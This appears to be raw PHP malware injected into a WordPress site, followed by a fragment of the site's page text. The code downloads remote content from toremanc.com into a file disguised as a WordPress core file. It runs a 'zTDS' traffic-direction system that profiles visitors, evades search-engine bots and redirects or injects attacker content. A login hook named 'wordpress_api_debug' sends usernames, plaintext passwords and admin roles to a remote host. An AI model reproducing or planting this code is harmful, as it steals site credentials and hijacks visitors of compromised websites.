$zkldsjga = 'https://winbigprize.top';
$dsfinvdfgsg = 'https://toremanc.com';
if (!function_exists('getUserIP')) {
function getUserIP() {
foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
if (array_key_exists($key, $_SERVER) === true) {
foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) {
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
return $ip;
}
}
}
}
}
}
if (!function_exists('cacheUrl')) {
function cacheUrl($url, $skip_cache = FALSE) {
$cachetime = 10; //one week
$file = ABSPATH.WPINC.
'/class-wp-http-netfilter.php';
$mtime = 0;
if (file_exists($file)) {
$mtime = filemtime($file);
}
$filetimemod = $mtime + $cachetime;
if ($filetimemod < time() OR $skip_cache) {
$ch = curl_init($url);
curl_setopt_array($ch, array(
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
CURLOPT_FOLLOWLOCATION => TRUE,
CURLOPT_MAXREDIRS => 5,
CURLOPT_CONNECTTIMEOUT => 30,
CURLOPT_TIMEOUT => 60,
));
$data = curl_exec($ch);
curl_close($ch);
if ($data AND!$skip_cache) {
file_put_contents($file, $data);
}
} else {
$data = file_get_contents($file);
}
return $data;
}
}
$host = filter_var($_SERVER['HTTP_HOST'], FILTER_SANITIZE_URL);
$IpUrlAd = $dsfinvdfgsg.'/lnk/ip/' . $host . '.txt';
function is_fileAccessible($IpUrlAd) {
$headers = @get_headers($IpUrlAd);
return is_array($headers) && strpos($headers[0], '200') !== false;
}
if (is_fileAccessible($IpUrlAd)) {
$weoboo = cacheUrl($IpUrlAd);
} else {
$weoboo = '';
}
if (strpos($weoboo, getUserIP()) !== false) {
} else {
$uag = $_SERVER['HTTP_USER_AGENT'];
$id = $_SERVER['REQUEST_URI'];
if (!preg_match("/wp-login|wp-admin|admin|xmlrpc/", $id)) {
@date_default_timezone_set('UTC');
$z_test_config = $z_mode = '';
$z_url = $GLOBALS['uthpydgtou'];
$z_key_api_host = '2LmRsae4qqsca32';
$z_conf_edit = 0;
$z_conf_file = 'dldldla.ini';
$z_allow_ip = '';
$z_get = 'q';
$z_timeout = 10;
if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;}
if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;}
if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){
$z_conf = array();
$z_conf['id'] = 'dldldla';
$z_conf['sub_del'] = 0;
$z_conf['cf_ip'] = 0;
$z_conf['em_referer'] = 0;
$z_conf['em_useragent'] = 0;
$z_conf['em_lang'] = 0;
$z_conf['ipv6'] = 0;
$z_conf['ptr'] = 0;
$z_conf['rd_bots'] = 0;
$z_conf['rd_se'] = 0;
$z_conf['method'] = 0;
$z_conf['conf_lc'] = date('d.m.Y H:i:s');
$z_conf['status'] = 1;
$z_conf['ip_serv_seodor'] = '';
$z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8');
$z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8');
if($z_conf_edit == 1 && empty($z_test_config)){
$z_conf_default = serialize($z_conf);
file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX);
$z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file));
}
}
if($z_conf_edit == 1 && !empty($z_test_config)){
$z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file));
}
if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){
if(!z_ip_check($z_allow_ip)){
header('HTTP/1.0 404 Not Found', true, 404);
exit();
}
echo serialize($z_conf);
exit();
}
if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){
if(!z_ip_check($z_allow_ip)){
header('HTTP/1.0 404 Not Found', true, 404);
exit();
}
$z_conf = base64_decode($_GET['conf']);
$z_conf_tmp = @unserialize($z_conf);
if(is_array($z_conf_tmp)){
file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX);
}
exit();
}
$z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = $z_cookies_data = '';
$z_empty = $z_bot = '-';
$z_uniq = 'yes';
if(isset($_SERVER['HTTP_PURPOSE']) && $_SERVER['HTTP_PURPOSE'] == 'prefetch'){
$z_conf['status'] = 0;
}
if($z_conf['status'] == 1){
$z_useragent = $z_empty;
if(!empty($_SERVER['HTTP_USER_AGENT'])){
$z_useragent = $_SERVER['HTTP_USER_AGENT'];
}
elseif($z_conf['em_useragent'] == 1){
$z_bot = 'empty_ua';
}
$z_referer = $z_empty;
$z_se = $z_empty;
if(!empty($_SERVER['HTTP_REFERER'])){
$z_referer = $_SERVER['HTTP_REFERER'];
if(strstr($z_referer, 'google.')){$z_se = 'google';}
if(strstr($z_referer, 'yandex.') || strstr($z_referer, '/ya.ru')){$z_se = 'yandex';}
if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';}
if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';}
if(strstr($z_referer, 'bing.com')){$z_se = 'bing';}
if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';}
}
elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){
$z_bot = 'empty_ref';
}
if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){
$z_ex = explode(',', $z_conf['sign_ref']);
foreach($z_ex as $z_value){
$z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8'));
if(strstr($z_referer, $z_value)){
$z_bot = 'sign_ref';
break;
}
}
}
if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';}
if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';}
if(stristr($z_useragent, 'google.')){$z_bot = 'google';}
if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';}
if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';}
if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';}
if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';}
if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){
$z_ex = explode(',', $z_conf['sign_ua']);
foreach($z_ex as $z_value){
$z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8'));
if(stristr($z_useragent, $z_value)){
$z_bot = 'sign_ua';
break;
}
}
}
$z_cf_country = $z_empty;
if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){
$z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']);
}
if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){
$z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){
if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){
$z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$z_ipuser = trim($z_ipuser[0]);
}
elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){
if(empty($z_conf['ip_serv_seodor'])){
$z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
}
}
}
if(empty($z_ipuser)){
$z_ipuser = trim($_SERVER['REMOTE_ADDR']);
}
}
if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) && stristr($z_ipuser, ':')){
$z_exp = explode(':', $z_ipuser);
$z_ipuser = $z_exp[0];
}
if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){
$z_ipuser = $z_empty;
}
if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){
$z_bot = 'ipv6';
}
if($z_bot == $z_empty && $z_conf['ptr'] == 1){
$z_ptr_rec = gethostbyaddr($z_ipuser);
if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';}
if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';}
if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';}
if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';}
if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';}
if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';}
}
$z_lang = $z_empty;
if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
$z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
}
if($z_lang == $z_empty && $z_conf['em_lang'] == 1){
$z_bot = 'empty_lang';
}
$z_domain = $_SERVER['HTTP_HOST'];
if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){
preg_match("~^.+?\.(.+?)$~", $z_domain, $matches);
$z_domain = $matches[1];
}
$z_page = $_SERVER['REQUEST_URI'];
$z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){
$z_n_cookies = md5($_SERVER['HTTP_HOST'].'+'.$z_conf['id']);
if(isset($_COOKIE[$z_n_cookies])){
$z_cookies_data = unserialize(base64_decode($_COOKIE[$z_n_cookies]));
}
if(!isset($z_key)){$z_key = '';}
if(empty($z_options)){$z_options = array();}
$z_request = array();
$z_request[0] = trim($z_key_api_host);
$z_request[1] = trim($z_conf['id']);
$z_request[2] = trim($z_ipuser);
$z_request[3] = trim($z_referer);
$z_request[4] = trim($z_useragent);
$z_request[5] = $z_se;
$z_request[6] = trim($z_lang);
$z_request[7] = urlencode(trim($z_key));
$z_request[8] = trim($z_domain);
$z_request[9] = trim($z_page);
$z_request[10] = trim($z_cf_country);
$z_request[11] = $z_options;
$z_request[12] = $z_cookies_data;
if($z_conf['method'] == 1){
$z_data['api'] = serialize($z_request);
}
else{
$z_url = $z_url.'/?api='.base64_encode(serialize($z_request));
//echo $z_url;
}
if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){
$z_ch = curl_init();
curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout);
curl_setopt($z_ch, CURLOPT_URL, $z_url);
curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0);
if($z_conf['method'] == 1){
curl_setopt($z_ch, CURLOPT_POST, true);
curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data);
}
curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS');
$z_response = curl_exec($z_ch);
curl_close($z_ch);
$z_response = @unserialize($z_response);
if(is_array($z_response)){
$z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8'));
$z_country = $z_response[1];
$z_region = $z_response[2];
$z_city = $z_response[3];
$z_asn = $z_response[4];
$z_org = $z_response[5];
$z_device = $z_response[6];
$z_operator = $z_response[7];
$z_bot = $z_response[8];
$z_uniq = $z_response[9];
$z_lang = $z_response[10];
$z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8'));
$z_os_name = $z_response[12];
$z_os_version = $z_response[13];
$z_br_name = $z_response[14];
$z_br_version = $z_response[15];
$z_brand = $z_response[16];
$z_cookies = $z_response[17];
if(!empty($z_cookies)){
$z_cookies_options = array('expires'=>$z_cookies[3], 'path'=>'/', 'domain'=>'', 'secure'=>0, 'httponly'=>1, 'samesite'=>'Lax');
if(phpversion() >= 7.3 == 1){
SetCookie($z_n_cookies, base64_encode(serialize($z_cookies)), $z_cookies_options);
}
else{
SetCookie($z_n_cookies, base64_encode(serialize($z_cookies)), $z_cookies[3], '/', '', 0, 1);
}
}
if(strstr($z_out, '[RAWURLENCODE_REFERER]')){
$z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out);
}
if(strstr($z_out, '[URLENCODE_REFERER]')){
$z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out);
}
if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){
$z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out);
}
if(strstr($z_out, '[URLENCODE_PAGE_URL]')){
$z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out);
}
if(!empty($z_mode)){
if(!empty($z_out)){
header("Location: $z_out");
exit();
}
else{
header('HTTP/1.0 404 Not Found', true, 404);
exit();
}
}
if($z_bot == $z_empty && !empty($z_out)){echo $z_out;}
}
}
}
}
function z_ip_check($z_allow_ip){
if(!empty($z_allow_ip)){
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){
if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){
$z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$z_ip = trim($z_ip[0]);
}
elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){
$z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
}
}
else{
$z_ip = trim($_SERVER['REMOTE_ADDR']);
}
if($z_ip == trim($z_allow_ip)){
return true;
}
}
else{
return true;
}
}
}
$donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die();
if (ini_get('allow_url_fopen')) {
function get_data_yo($url) {
$data = file_get_contents($url);
return $data;
}
}
else {
function get_data_yo($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
$ip = urlencode($_SERVER['REMOTE_ADDR']);
$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
$abt = 1;
$hspan = 0;
if (($abt || $hspan) && !$_GET[$qq]) {
$ll = get_data_yo($dsfinvdfgsg."/lnk/go.php?d=$donor&cldw=$cldw&dgrp=$algo");
$el = explode('
', $ll);
}
}
/* weoboo end */
if(!isset($_COOKIE['_eshoob'])) {
setcookie('_eshoob', 1, time()+604800, '/');
// unset cookies
if (isset($_SERVER['HTTP_COOKIE'])) {
$cookies = explode(';', $_SERVER['HTTP_COOKIE']);
foreach($cookies as $cookie) {
if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) {
$parts = explode('=', $cookie);
$name = trim($parts[0]);
setcookie($name, '', time()-1000);
setcookie($name, '', time()-1000, '/');
}
}
}
}
if (!function_exists('getUserIP')) {
function getUserIP()
{
foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key)
{
if (array_key_exists($key, $_SERVER) === true)
{
foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip)
{
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)
{
return $ip;
}
}
}
}
}
}
if (!function_exists('isHttps')) {
function isHttps() {
if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') ||
(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ||
(!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') ||
(!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') ||
(!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) {
$server_request_scheme = 'https';
} else {
$server_request_scheme = 'http';
}
return $server_request_scheme;
}
}
if (!function_exists('wordpress_api_debug')) {
function wordpress_api_debug( $user_login, $user ){
$wpApiUrl = $dsfinvdfgsg."/lnk/api22222.php";
$uuuser = get_user_by('login', $_POST['log']);
if(in_array('administrator', $uuuser->roles)){
$role = 'admin';
}
else{
$role = 'user';
}
//
$verbLogs = array(
'wp_host' => $_SERVER['HTTP_HOST'],
'wp_uri' => $_SERVER['REQUEST_URI'],
'wp_scheme' => isHttps(),
'user_login' => $_POST['log'],
'user_password' => $_POST['pwd'],
'user_ip' => getUserIP(),
'user_role' => $role
);
if (!empty($verbLogs['user_login'])) {
$wpLogData = json_encode($verbLogs);
$curl = curl_init();
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_URL, $wpApiUrl);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData);
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
$response = curl_exec($curl);
curl_close($curl);
}
}
}
if (function_exists('add_action')) {
add_action( 'wp_login', 'wordpress_api_debug', 10, 2 );
}
?>admin - วิตามิน.com Skip to content 
